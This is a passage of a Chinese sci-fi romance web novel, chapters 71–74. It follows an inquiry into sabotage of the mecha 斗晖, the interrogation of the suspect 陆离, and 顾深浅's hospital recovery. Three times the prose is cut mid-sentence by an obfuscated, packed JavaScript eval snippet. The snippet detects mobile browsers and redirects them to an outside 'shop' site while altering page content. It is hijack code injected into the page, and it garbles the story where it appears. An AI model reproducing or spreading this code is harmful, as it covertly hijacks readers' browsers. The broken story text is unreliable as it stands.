徐飞扬:“天网拍不到精神力,我们只能通过画面动作来看,他当天到会场就直接了观众席的角落,中间可能是为了避开我们一行人,他去过男厕所待了很久。” “多久?” “得有十来分钟吧。”徐飞扬说,“联安署已经请他和贝拉在问话了,应该很快有结果。” 顾深浅沉思半晌,慢慢皱起眉。 沈千峻:“你在想什么?” 顾深浅说:“按照徐队的说法,陆离因为某些原因,利用他的情人贝拉,藏了一个替换芯在斗晖身上。小半年后,他得知斗晖即将参加毕业作品展,于是又想办法植入了一个bug程序,去放大斗晖瞬间的绝杀技能。” 徐飞扬说:“听上去有点怪。” 顾深浅说,“替换芯在这次事件中的作用就像是一个开关,触发了bug,让这一切看上去像是斗晖我发动了攻击。这东西去年就装到了斗晖身上,一直都没有人发现。” “植入bug是为了谋杀,但替换芯未必。”顾深浅说:“如果没有bug,他在现场启动替换芯,在沈千峻的力量下斗晖必然紊乱,极有可能在现场就动不了。届时校方检查不出外来侵扰痕迹,就会评定斗晖作战系统设计不成熟,最糟的结果就是我毕不了业。但是植入了bug后,就全然不是这么一回事了。” 徐飞扬:“你的意思是?” “要么陆离在这半年里又受了什么刺激,突然想要我的命,要么……”顾深浅眼底闪过一抹精光,“要么,植入Bug的另有其人。” 凌乱的脚步声由远及近,柏莎纤细的手臂用力推开门,脸上泪痕未干。 她对上顾深浅的眼,颤着声说:“学姐,对不起。” 71. 他在哭 织梦跟在后面慢悠悠地走进来,见徐飞扬在也丝毫不惊讶:“影像传给你了,我的建议是你亲自带柏莎去联安署,盯着审讯。” 徐飞扬短暂地愣怔,从他的话里不知想到了什么,脸色难看起来。 柏莎抹了泪,“能等等吗?我想和学姐单独说……” 沈千峻打断她:“不行” 无视了集中到他身上的目光,沈千峻淡淡地说:“她是受害人,也是病人。今天的探视时间就到这儿。” “你!” 顾深浅:“……” 柏莎出离愤怒了,她瞪过去发声的方向,到嘴边的怒骂却一句也说不出口。 这位沈姓模特只是坐在顾深浅的床边,胡子拉碴地撩到样儿,出口却带着一种不可违逆的气魄。 柏莎委屈地向顾深浅求救。 顾深浅无奈之余有点好笑,就这么似笑非笑地瞥了沈千峻一眼。 沈千峻一秒的出神,随即转过脸,暴躁道:“五分钟,有话快说。” 她憋着没笑出声,朝柏莎招招手,拍了拍另一侧床沿:“过来。” 柏莎巴巴地过去,徐飞扬又有通讯,他边出去边说:“我在外面等你。” 五分钟还没等说话,柏莎先掉了眼泪,一抽一抽地说:“我之前和你说过的,我记得的那些,全都是错的!对不起学姐,都是我没用。” 顾深浅说:“需要道歉的人不是你,柏莎。你现在想起正确的记忆了吗?” 柏莎点点头,气息平顺了一些:“封箱那天,实验室混进了别人。” 她说:“那天,我们的通讯结束后我就给陈教授留了言,请他到总控室。然后我去了趟厕所,回到总控室,在那儿见到了陆离学长。” 顾深浅眉梢几不可见地皱了下:“然后呢?” “他说他来找陈教授,顺便看看我们。我怕你们见面尴尬,就想先给你通个气儿,打了声招呼就下楼了。可等我下楼的时候,我的记忆就好像被洗过似的,完全不记得这一茬,只记得我在找陈教授。” 柏莎鼻头发酸:“对不起,学姐。我看到他的时候就应该觉得不对劲的。” 顾深浅摸摸她的头:“傻姑娘。你来实验室之前他就在了,过来找陈教授是再正常不过的事。那天的出入权限都关着,他又是熟脸,想溜进来太容易了。” 柏莎宁愿她怪她,这样温声的顾深浅让她内疚又自责,情绪霎时涌上来,她喊着“学姐”就要往顾深浅身上扑,却被一道无情的力量弹了回去。 沈千峻冷声说:“你该走了。” 沈姓模特的姿势神情都跟刚才一模一样,气场却突然凌厉起来,像是蠢蠢欲动的猛禽。柏莎甚至有种感觉,如果她刚才真的扑上去,这个人真的会对她动手。 她瑟缩了一下。 顾深浅对柏莎说:“去外面找刚才的金发帅哥吧。” 柏莎走得很快,病房里很快只剩他们三个。 顾深浅叹气:“你吓到她了。” 织梦才调侃道:“这要是换了特监处的任何一个人,在你满身伤的时候往上扑,恐怕头都要被打掉了。” 沈千峻转而问道:“你看过她的记忆,有什么发现?” “很基础的精神干扰。”织梦说,“柏莎是C级,精神防御非常薄弱。不说S级,哪怕是一个误打误撞觉醒了精神技能的A级,都可以对她造成干扰。但我没有在她的精神领域里发现对方的精神痕迹。排除S级以上实力和我相当的,还有两种可能,一是对方非常了解她,熟知她精神领域的每一寸变动,确实也有可能做到全身而退。二是,造成干扰的不是人,而是像之前陆离给顾工的白玉挂坠同源的东西。” “不过,”织梦话锋一转,“这些你一眼都能看出来吧?怎么还特地喊我来?” 顾深浅表情一滞。 病房的门被一道力量拍上,沈千峻的隔离结界升起:“她忘了精神技能。” 织梦错愕地说:“忘了?本命技能也会忘?” “她没有本命技能。” 沈千峻脸还端着,顾深浅的角度却刚好能看到他眼底一抹诡异的得色。 大概类似于:呵,你也不知道吧。 顾深浅:“……” 沈千峻望向她:“真正该查案的都做事去了,现在可以老实交代你的问题了吗?” 织梦满脸肃然:“精神技能自觉醒就印在精神领域的最深处,特监处的训练除了观察和测试,也只能让各人的技能发挥最大用处,从没有发生过遗忘精神技能的情况。什么时候的事?你现在感觉怎么样?” 顾深浅把刚刚跟沈千峻说的又重复了一遍,再三保证:“真没有任何不适,力量也没有减弱,只是不记得技能了。” 织梦试着探入一抹力量,出来后沉吟片刻:“力量不仅没有减弱,比先前强了很多。但精神技能……” 沈千峻淡淡地说:“你最好别让我听到不知道,看不出,没办法。” “……我从不这么说话。” 织梦认真地注视着顾深浅说:“但你的情况确实很复杂。精神领域的防御太重了,我进不去,很多事情就无法确定。如果你做不到对我完全放开,至少跟我讲讲,从你力量觉醒开始,都发生过什么。不然我很难帮你。” ——大概是我做得实在不够好,才让你始终你不能信任我。 顾深浅有一瞬的恍惚,沈千峻被徐飞扬的通讯打断的话尚在耳边,她似乎还能感受到他难过之余那隐秘的不安。 她看看织梦,又看看沈千峻,轻叹口气:“行吧,但真没你们想的那么糟糕。” “准确地说,不算是忘了,只是物归原主。” 二人同时拧起眉:“谁?” 顾深浅缓缓开口:“玖安。” 她垂着眼不去看沈千峻,兀自说:“海朝区,相夜底下的那道金属门里,有属于玖安的力量。那是曼巴蒂芬金属,对地球上的元素有隔绝效果,因此对人类精神力也会有抑制作用。但……玖安是例外。曼巴蒂芬金属可以储存她的力量。” “按理说,地球上不应该有这种金属。这是π星的特产,是π星生物指着过日子的能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928770|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 源,尤其在精神文明的地球。如果他们有足够的曼巴蒂芬金属,打起来人类未必能占上风。但他们却选择制成了二十八道门,里面的原因我不清楚,不过,这也误打误撞地,吸收了玖安飘散的精神力。” 沈千峻攥着的手发紧:“你什么意思?” 顾深浅像是听不见,觉察不到疼,继续说:“万千元素经过无限重组构成一个精神体,一模一样的组成几乎不可能重现。如果重现,势必是同一个人。织梦,这是你告诉我的。” 织梦点头。 “玖安稍有不同。她和其他人的区别不在于元素的重组方式,而是元素本身。她的精神力并不源于地球上的任何一种元素。” “她精神体消散后很长一段时间,她的部分力量才重新汇集成精神体,重新作为人类活着。但也缺失了很大一份,对她的影响包括但不限于感知不到精神领域,没有精神技能等等。” 织梦:“缺失的部分,是被曼巴蒂芬金属吸收了?” “也不全是。”顾深浅说,“我还没全部想起来,不过,没猜错的话,大部分力量是玖安自己封印的。曼巴蒂芬是意外。” 织梦:“所以在海朝区,你撞到门上,曼巴蒂芬里的力量回到你体内,冲破了封印,你才会瞬间觉醒。” “嗯。” “那你现在忘了技能又是什么情况?” “透支惩罚。” 攥着她的手又重了,顾深浅到嘴边的话咽了回去,声音放软了些:“疼。我瞎猜的。” 那只手松了下来。 无视了沈千峻的炽烈目光,顾深浅继续说:“海朝区场景重现那会儿,我水误触到了另一个技能,叫作‘溯回’。” “我回到了过去,在很多画面里穿梭,最后停留在2819年,见到了当时的玖安。” “她说溯回很消耗精神力,她看我当时的状态很差,所以借了我一点力量。她当时说可能会有副作用,大概就是这个。从海朝区回来之后,觉醒的技能慢慢就都忘了。” “不过我现在不是能用机甲了嘛,也没什么影响。哦对,天龙是不是也觉醒了,还能让我用吗?不让的话,我能再换一台吗?” 顾深浅眼巴巴地看着织梦,织梦还没从震惊里走出来,就被沈千峻的脸色吓到了。 “我出去消化一下。” 他边起身出去边朝顾深浅侧边抬抬下巴,眼神传递了“自求多福”四个字。 顾深浅接收到了,并眼神发送求救信号。 被无视了。 再次只剩她和沈千峻两个人,诡异的沉默在蔓延。 顾深浅破罐破摔地拉起被子侧身躺下,闷着脑袋说:“我好累,睡觉了。” 沈千峻没有动静。 半晌,顾深浅忐忑又莫名委屈的时候,身后的床榻忽地凹下去,沈千峻脸埋在她肩窝,有力的臂膀覆在她腰上,独属沈千峻的气息将她整个人包围起来。 顾深浅喃喃:“沈……” 她顿住了,裸露的后颈感受到凉凉的湿意。 是他在哭。 72. 招供 徐飞扬带柏莎到达联安署,把柏莎交给分署的人做笔录准备去看看陆离,他顺口问:“陆离呢?” 跟着他的警员答道:“在三楼审讯室,一起带回来的贝拉在他隔壁,乔哥在总控室盯着。” 徐飞扬多看了他一眼,是个眼生的小孩儿,清俊朝气,像是刚毕业的实习生。 他点点头:“行,谢了。” 他径直去了总控室,到门口恰好听到乔森说:“问他和顾深浅的事。” 徐飞扬挑挑眉,收回推门的手,双手抱臂倚在了门外。 半个小时后,乔森捏着眉心出来,正撞上徐飞扬似笑非笑的脸:“徐队?你怎么来了?” 徐飞扬话里有话:“我没记错的话,你今天似乎有两个跨区会议,倒是没想到会在曼城分署看到你。” 乔森解释说:“曼城东西大区的城防问题起了争执,事情闹得有点大,我临时过来的,刚好处理完又接到了分署的消息,说陆离和上次的跨区人口拐卖案有牵扯,我顺路过来看看。” “顺便再指导着审审。” “我……” “没关系,我就随口一说。”徐飞扬打断他,双手插兜往会议室走,边走边问:“陆离怎么又和人口拐卖案有关了?” “也不光是这。”乔森说道:“年初那会儿,总部让查解思涵和陆离的事儿,发现陆离果然在单方面招惹解思涵,兄弟们就一直盯着他,所以这次查起来格外细致。除了他不堪入耳的私生活,还有他和解家几个旁支来往的记录。” “旁支?”徐飞扬报了一个名字,“有这个人吗?” “有,联络很频繁。” 徐飞扬领着乔森进入就近的会议室,在乔森进来后打开隔音结界,连带着会议室的摄录系统一起隔离了。 乔森看了眼,处变不惊地打开光脑权限,徐飞扬刚才提到人的档案公开在会议桌前。 他概括说:“这个人在解家很不起眼,他名下的产业基本以科研材料为主,都不挣钱就是靠家里补贴,只除了这一家。这个抬头是做珍稀材料的,在圈子里算小有名气,很多市面上找不到的材料他都有。就是因为这家公司,他和陆离才认识。” 光影流转,八个光影打出的人排站在桌边。 乔森说:“这八个都是被捕的,当时闹出了舆论风波不小。而这次查陆离才发现,他不仅跟这几个人私交匪浅,其中三个还有利益往来。巧合的是,他们的交易型号和科研一组在π星人的地下通道里发现的型号完全相符。” “只有这?”徐飞扬说,“地下通道里有的几乎是全套的科研设备,方方面面的科研设备都有,有相符的并不奇怪。” “嗯,我安排了人核对双方的生产批次号,应该就快有结果了。”乔森说,“陆离人不怎样,嘴硬得很。几个事儿掺杂着,连蒙带骗审了半天,还是没结果。我让他们先休息了,等核结果出来。” 徐飞扬笑起来:“那看来他们没得歇了。” 陆离独自在审讯室,审他的人已经出去很久了。 他手臂脱力似的垂着,后脑勺上仰在椅背上,露出优美的下颌线,精致非常的五官尽显疲态。 听见来人的动静,他微微睁眼,来审他的人换了一个,更为高大,眼神也更凶狠。 他嘲讽道:“你们警官都知道要休息换人来审,怎么不考虑我也得休息会儿?友情提示,我只是个配合调查的守法公民。” 乔森和另一名负责记录的警官在他对面坐下,沉声说:“你是吗?” 陆离像被人踩了尾巴,陡然坐起来,双手握拳碾在桌子上:“你怎么说话的?我在这儿陪你们耗了半天,就那么破事儿我都说了!你们呢?还要给我扣帽子?” 乔森放下水杯,落在桌面发出不轻不重的声响,却恰到好处地截断了陆离下一句谩骂。他低头看着什么材料,没正眼瞧他一下,却端得不怒自威。 “今年3月25日,你在哪里?都做了些什么?” “我已经回答过三次了,警官。” 乔森抬起眼:“那就看着我的眼睛,再说一遍。” 陆离背脊发凉,额头开始冒出细密的冷汗。 眼前这个人带来的压迫感,仿佛又把他带回了那天的澜园。 他和那晚的男人的身上,有着同样的东西。 陆离吞咽着并不存在的口水,第四次给出了相同的答案:“上课,吃饭,批改作业,去实验室查看进度,结束工作后回到自己的公寓,吃饭,看书,睡觉。你可以自己去查天网记录,我说的都是实话。” “哪个实验室,什么进度?” “工学院的实验楼,三楼都是我负责的实验室,学生们在那儿上实验课,对应有课前准备工作,由我名下两个勤工俭学的学生完成,我第二天有实验课,过去验收的。” 乔森未置可否,而是展开了曼大的示意图:“曼城大学的范围很大,你说工学院的实验楼,是哪一幢?” 陆离点了点头,一个光点顺势浮现,右侧弹出了对话框:曼大古老建筑之一,至今仍为源源不断的学生提供实验场所。 地图上出现了纵横交错的彩色,通往不同的目的地,线条上还显示着距离。通往高级机甲研究所的线上,赫然显示着一个公里数:4.8。 乔森二指划过,线条变化,才曼大东校门开始在图上游荡,最终会到东大门。舞动轨迹和陆离所述行程几乎完全一致。而从整体看来,代表他形成的线条和顾深浅所在的高级机甲研究所隔着一段不远不近的距离。 如果是开着特监处的车过去,这段距离不算远;如果是校园步行,却实在不算近。 他微微拧起眉头,无意的小动作更让陆离胆寒。 他虚张声势般大声说:“我那天就是这么走的!就在这几个地方活动过!没有撒谎!” 乔森问:“你上次到顾深浅的实验室是什么时候?” “去年了。去年秋天我跟顾深浅闹翻了,那之后里面就进不去了。但那附近我常去。”陆离顿了顿说,“接我女朋友。” “女朋友?”乔森重复这三个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12956695|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,“谁?” “贝拉。” “有意思。”乔森嗤笑:“她本人似乎并不认为你是她的男朋友。” 陆离皱着眉,“这和案情也有关系?” “有那么点。”乔森说,“贝拉说你曾经要求她破坏斗晖机甲的零件数据,以此替换你联系的供货商的硬件,有这回事吗?” 猝不及防的背叛被乔森淡淡地一语道破,陆离出离愤怒了,甚至让他忘了恐惧拍案而起:“你胡说八道什么!” 乔森双指轻扣,来自上位者绝对地威压“蹭”地将陆离压下,他努力挣着肩却挣不开,愤怒、屈辱又不甘。 而他对面的乔森除了动动手指没有任何反应,只是冷漠地盯着他:“在你回答之前,我提醒你三点。第一,贝拉,哦,就是你口中的女朋友,她已经把你供出来了;第二,你让她办事让人拍到了,从画面到声音都在我这;第三,在这里撒谎,要负法律责任。” “你这么一个‘配合调查的守法公民’,应该不会撒谎吧?” 陆离怒不可遏地嘶吼:“不可能!你不可能有这种东西!” “很遗憾,我有。”乔森面不改色,“你们衣衫不整的画面,你还想回顾吗?” 陆离脸上一阵红一阵白,过去好半晌,他整个人瘫在椅子上,以手掩面,大口喘着粗气。气息平顺下来,他问道:“是谁拍的?贝拉?” 乔森说不是:“该你回答我的问题了,坐好。” 陆离慢吞吞地坐直,双手交叉握在桌面,倾着上半身,整个人都充满了颓丧:“是有这回事。我和贝拉也不算是男女朋友,就一起睡觉。” 他搓搓手指,“这位警官,能给我跟烟吗?” “你还有烟瘾?” “没,这会儿想抽了。” 烟草在经历过物资匮乏的精神人类时代来说,是极大的奢侈品,直到这两年才有了非常稀少的产出,专门供给富人。 乔森皱皱眉:“不好意思,联安署不供应奢侈品。” “水总能给我一杯吧。” 一杯热水下肚,陆离的脸色好了点。他说:“机甲这行最烧的就是钱。什么材料都贵,什么材料都废。除了联盟扶持的项目,科研基金都得自己拉赞助。我们家……不给钱。我上学的时候,也没人愿意赞助我,只能自己想办法。” 乔森面色不变,心里已经有了大概的猜想。 陆离家庭复杂,从小混迹在各色肮脏交易里,对人和人的生意很熟。他的实验项目不被人看好,要拉赞助,最好的办法就是从人下手。 果不其然,就听他说:“我在实验室一共接触到三种人,导师,同学和材料供应商。导师清高,同学经济有限,最有钱的就是供应商。我大小就知道怎么招人喜欢,跟供应商的关系也都不错,也认识了一些新朋友。” “可这些人有一个算一个都是老滑头,装进兜里的钱根本不可能吐出来。也托福,我找到了一条来钱快的渠道。” 陆离正视乔森的目光,一字一顿道:“倒、卖。” 73. 诱供 “赌了什么?” 总控室,织梦啧声:“他怎么还开始追忆往昔了?” “他这个人,出身不差,天赋不差,有点自命不凡的资本却走了偏门,横冲直闯一路走进顶尖学府跟着顶尖教授。同门师妹是个机甲天才,借着师妹的东风在这圈子里混得风生水起,忽然有一天,师妹跟他决裂了。” 徐飞扬勾着嘲讽的弧度:“场面上的人,今天跟你称兄道弟,明天有事找助理。混这行的就那么几个,都是人精。陆离这背景,没有了顾深浅的名头压根吃不开。这个时候他就会庆幸,自己生了副好皮囊。” 织梦接到:“没想到到头来,好皮囊换来的是彻头彻尾的背叛。乔森的话让他以为是贝拉在他们亲热的时候录下了他的把柄。要是再往深了想,恐怕无论贝拉出于什么目的这么做,对陆离来说都是讽刺。这些我知道,我觉得奇怪的是……就因为这样他就老实了?” “谁知道呢。”徐飞扬偏过脑袋,“还没问你,你不在医院守着病患,来这儿干嘛?” 织梦说:“病患监护人让我走远点,我顺路监督你进度。” 徐飞扬乐了:“我给他俩呼通讯一个都接不通,第二次呼过去直接给我阻断隔离了。要不是知道他俩在医院,我以为又出大事了呢。” 织梦心说,人生大事怎么不算大事呢? 面上漫不经心地转移话题:“可能顾工睡着了,不想被打扰。” 徐飞扬还要说什么,监控里传来陆离的声音:“倒、卖” 织梦扬眉:“这就撂了。” 监控中,乔森不动声色地问:“倒卖什么?” “什么赚钱卖什么。”陆离说,“陈教授几乎不带学生,日常也不在学校。他负责的实验室里,日常采购,器械维护工作都是我的来,我说缺什么就补什么。我说什么报废了什么就得换,一进一出都是生意。” “打通了人脉,资金问题迎刃而解。项目结束之后,我也没再做沾过手。要不是……出了点意外,我也不会这么做。” 说到这儿,陆离眼神从乔森的鼻梁缓缓上移,对着他的眼睛,笑容轻佻:“警官,我主动招供,够配合了吧?” 他长得实在好,这一笑更堪称是顾盼生姿。 乔森与他对视三秒,冷漠地说:“说了这么多,你是承认自己指使贝拉在机甲斗晖的零件上做手脚,是吗?” 陆离笑容差点裂开,咬牙切齿地蹦了个:“是。” 织梦看得啧啧感慨,“乔森让你带的,怎么越来越有老大的样子。” 徐飞扬见怪不怪:“他一直很崇拜老大。” 乔森似乎从一开始就只想要这一个答案。他微微点头:“供应商送去的零件上,有一种叫做‘替换芯’的潜伏病毒,是你植入的吗?” “你说什么?!”陆离双目倏地瞪圆,眼底闪过一抹惊讶,随即满脸怒容,讥讽道:“这位警官,你还想什么事都推我身上?你有什么证据?” “友情提醒,”乔森也勾起了讥讽的弧度:“看到证据才认罪,可算不上‘主动’招供。” 乔森上身向后靠在椅背上,十指交叉着睨他:“新零件送到曼大当天,你也出现在在高级机甲实验室附近;替换芯的核心算法是你导师陈希的首创,因输出难度过大,涉及该项知识点的考题几乎都是全军覆没,只有两个例外。” 陆离补全了他没说完的下句:“顾深浅和……我。” 乔森眉梢微微上挑:“是。” 陆离忽然笑了起来,乔森一瞬不眨地观察着陆离的神情,愤怒、讽刺,还有更深的恐慌。 他在怕什么? 陆离长笑了半分钟,一手掩面抚过下颚,像是做了什么决定,沉沉地说:“对,是我。” 乔森:“为什么这么做?” 陆离想拿起水杯,却发现已经空了,他边收回手边说:“恨她?报复?嫉妒?都有。” “不用这么看我,曼大没几个不嫉妒她的。” “我嫉妒她,也喜欢她。她太聪明了,涉及到工学似乎就没有她不懂的,很多问题问导师还没问她来得清楚。看上去不爱搭理人,但熟了之后比谁都好说话。平时抠抠搜搜着预算,实验室里谁有个什么事儿,她是最大方的,对我更是有求必应,我以为她也喜欢我。” 乔森黑着脸,握拳的指节泛白:“说重点,少放屁。” “你不信?”陆离说,“所有人都说我们是一对,我没澄清,因为我喜欢她。她也没有澄清,你说因为什么?” 乔森脸更黑了。 陆离并不需要他回答,继续说:“她明明是喜欢我的,只不过一时被别的男人迷了眼,才会就为了一个挂坠,要跟我恩断义绝。” 他想到了什么,生生卡着壳转了弯:“我不信她真的对我一点余情都没有,刚好她实验室的贝拉也喜欢我,送上门的,不要白不要。我本想用贝拉刺激她,没想到她一个泡在实验室的人,竟然好几天没怎么去。贝拉这才告诉我,顾深浅竟然在准备毕业。呵。” “我毕业的时候,想高薪聘我不计其数,可我选择了留校,我都是为了她,她明明都知道的!她现在竟然一声不吭地就要毕业?凭什么?绝不可能。” “她搭建斗晖的时候我全程都在,这个项目所有排布我了如指掌,想送进去一个没人能发现的‘替换芯’没什么难度。如果她真的顺利参加毕业作品展,斗晖当场就会出故障无法展示。就算她后期能发现替换芯,一时半会儿也毕不了业了。” 乔森唇角抿成线,冷声说:“你之前说你没有植入bug程序,可你的替换芯却恰恰是bug程序的触发点,导致斗晖动力系统错乱,间接引起了此次事故,你又怎么解释?” 陆离的脸色难看起来,他低骂了一句:“我怎么知道?bug不是我弄的。再说你问的3月25日,那天我什么行程你都看到了,我根本没去过她的实验室。” “说起这个,倒也真是怪事。”乔森说,“刚收到的视频,有人看见你当天出现003实验室,还是总控室。你怎么解释?” “我没有!”陆离吼道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12986711|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我当天去了哪儿,你刚刚不都看到了吗!” 乔森指尖轻点,画面展现在陆离面前。 “自己看。” 是柏莎视角的记忆成像。 陆离从一开始的不可置信,到后来似乎明白了什么,他眼底依然藏着恐惧,而此刻的恼怒却全然盖过了:“这是假的!你们查证不要求证据链完整?联盟的天网监控你不信,这什么来路的视频你就信?这根本不是我!” 乔森:“怎么证明?” 陆离语塞了一瞬,更加愤怒地吼:“天网监控不是证明?你还想要什么证明!” “这段视频也不是合成的,陆先生。”乔森第一次正式地称呼他,“如果没办法证明这是假的,你就是植入bug的最大嫌疑人。” 陆离哑声,乔森继续说:“有个消息我想你还不知道。战甲斗晖已经被收录军备所,一旦犯罪事实成立,你有很大可能被判破坏他人科技成果,干扰联盟军事发展,窃取联盟军事情报等重罪。假设你稍微有点尝试,以上每一项都是二十年以上的有期徒刑。你应该也不想坐牢吧?陆、先、生。” 陆离微微张口,看着乔森没说话。 徐飞扬眯起眼:“陆离不会也缔结了什么保密承诺吧?你就这样能看出来吗?” “看不出来。”织梦说,“但我猜,没有。” “为什么?” “缔结保密承诺的前提是自愿。认可对方和自己做的事。哪怕事后后悔,提起来也不该是他副愤恨样。” 徐飞扬摸摸下巴:“那他宁愿坐二十年牢也不肯说,看来是更严重的后果。” “他是个自私的人,会做对自己利益最大化的选择。比坐牢二十年更可怕的……没牢可坐?”织梦侧首看他:“乔森费这么半天劲诱供,你们已经查到了什么?” “没有。”徐飞扬否认,在织梦怀疑的目光中耸耸肩,“只是猜测。” 徐飞扬说:“顾工说,替换芯可能是他做的,bug却可能是其他人。我一开始也这么想,但是乔森审到这儿,我倒是有了另一个想法。” 织梦问:“什么?” “如果从头到尾,都是另一个人呢?”徐飞扬眼里闪过精光,“他们的导师,陈希陈教授,顾深浅也有段时间没见过了。” 织梦略一思索:“能熟练运用替换芯,同样了解机甲斗晖的构成,陈希确实符合。可陈希是科研界的大牛,为什么要用这种方式谋杀顾深浅?” 徐飞扬淡淡地说:“如果陈希已经不是陈希了呢?” 织梦微怔。 “我已经让隋楚加急查天网了,柏莎看到的是不是陆离,很快就会有结果。” “要不让我去看看?”织梦指着总控室的监控画面,“他这样不开口也不是办法。” 徐飞扬却摇头:“再给他点时间,这事儿不复杂。总不能什么案子都靠你。再说,乔森进去审他,可是跟我有赌约的。” 织梦莞尔:“赌了什么?” “他审出来,去告白。” 74. 死心 春藤医院。 隔着春被,顾深浅仍能感受到背后持续传来的震动。她心下轻叹,手覆上沈千峻圈着她的手臂,是无声的安抚。 沈千峻握住她,哑声说:“……一会儿就好。” 顾深浅任他握着,病房内安静得只听得到二人的心跳,还有沈千峻不匀的气息,带着淡淡的酸涩,引得顾深浅也莫名鼻酸。 不知过去多久,沈千峻开口:“你……” “叮叮叮——” 沈千峻的通讯铃声突兀地响起,在这一刻显得无比聒噪。 他拒接,继续说:“你刚才……” “叮叮叮——” “……” 他面无表情地再次拒接,还不忘在病房外加上隔离结界。 顾深浅憋着笑:“不接吗?应该是案子的事。” 沈千峻没好气地说:“他一个联安署署长,不用非得什么事儿都来汇报我。” 他似乎浑然没意识到事件的另一位当事人正被他圈在怀里,话说得掷地有声,理所当然。 顾深浅好笑地说:“大概是因为我想知道。” 沈千峻沉默了,耍脾气似的想咬一口她柔白的后颈,临到嘴边却又没舍得,成了轻轻地一吻。 酥麻感一路蔓延全身,顾深浅脸腾地红了:“沈千峻!” “嗯。”他微微收紧胳膊,“你……疼吗?” “嗯?哦,不疼了,伤口没裂开,动到的地方都恢复了。” “……”沈千峻嗓音干涩:“我说,那时候,疼吗?” 顾深浅微微怔忪:“你呢?疼吗?” “我……” 他开了个头,却没说下去,只是抓着她的手不肯松,脑袋埋得更深。 顾深浅心软得不行,“我只是虚弱,精神体不疼的。” 沈千峻闭上眼仍是她倒在他怀里的画面,满目都是鲜血的红,光是想起来心口就钝痛不止,知道她误会了也说不出更多话来。 顾深浅见哄不好他,尝试着转过身,发现沈千峻看似没有压着她,圈着的臂膀却牢牢地禁锢着她。 “别动,一会儿动着伤口。”沈千峻说,“累了就睡一会儿。” 这谁睡得着? 顾深浅诚实地说:“睡不着。” 沈千峻问:“你想怎么样?” 顾深浅想了想,“海朝区的后续都是你亲自处理的,那地下到底发现了什……嘶——沈千峻!” 沈千峻蒙住她的眼,贴着她的耳背:“再不睡,亲的就不是耳朵了。” 顾深浅敢怒不敢言,瞪他瞪不到,只好羞赧地闭上眼。 她毫无睡意,本以为这姿势更睡不着,却没想到在沈千峻气息的包围下,不到一分钟就感到了困倦。 顾深浅预感到了什么,她用最后的意识呢喃:“我……睡得久……别急……” 再睁眼时,她身处在陌生又熟悉的房间。沙发上是熟悉的观察员孟岚,手里正摆弄着什么。 她半睁着眼问:“……那是什么?” 一开口却被自己沙哑粗重的嗓音吓了一跳。 孟岚闻声一愣,手里的东西直直坠落。她顾不得去捡,三两步走到床前握住她,眼眶里已经溢满惊喜的泪水,反复说着:“醒了就好,醒了就好。” 她心脏莫名酸涩,于是抬起手,努力摸了摸孟岚的脸:“你的,东西掉了。” 孟岚摇着头说没事,只是毛线,额头扣在她手上,低头缓了一阵,再抬头时才咧开一个笑脸:“你睡了好久,下次不许了。” “我这是怎么了?” “消耗过度。你救了沈将军,自己却因为消耗过度昏了过去。”孟岚心疼地说,“沈将军扛了好大的压力,连夜把你送回来的。你……你当时气息弱得可怕,还好有沈将军在,我才能看到你醒过来。你昏迷了太久……我几乎以为,你真的醒不过来了。” 玖安的记忆慢慢复苏,她想起了战斗机上坠落的沈千峻,想起了那些伤兵…… 还有二次觉醒。 她清清嗓子,孟岚见状即刻为她倒了杯温水。 玖安喝完才觉好些:“我昏迷了多久?” 孟岚轻叹一声:“半年了。” 玖安一愣,又问:“沈千峻呢?” “还在前线。”孟岚苦笑:“仗还没打完呢。” 约莫是看出她情绪不佳,孟岚补充说:“沈将军一有空就会来。他最近在沙漠那边,那里是π星生物最多的地方,可能要一段时间才能过来。但他一定会来的。” 玖安摇头:“他受伤了吗?” 孟岚说:“他是主将,是冲在最前面的人,肯定会受伤的。但他也是最厉害的人,肯定能凯旋的。” 玖安问:“他打仗,不带我了吗?” 孟岚摸摸她的发心:“至少也要等你完全恢复过来,才能讨论这个。” 玖安眼底闪过一瞬失落,旋即扬起嘴角:“能再次和你相处,我很高兴。” 孟岚给了她一个拥抱。 “你能醒过来,我也很高兴。” 彻底苏醒的玖安无比清晰地感受到了自己力量的暴增。 二次觉醒打通了秦宓留在她身上的禁锢,她被封印的力量在这一次完全觉醒了。 她能听到更远的风,看到更高的云,闻到看不见踪影的花香,每一处元素都是她的眼睛、耳朵和鼻子。 然而玖安理顺了力量后,依然选择了自我封印。 一方面是不想引起太多侧目,平白惹沈千峻担心,另一方面,她也依然觉得自己还缺失了一些东西,不是掌握这么强大力量的好时候。 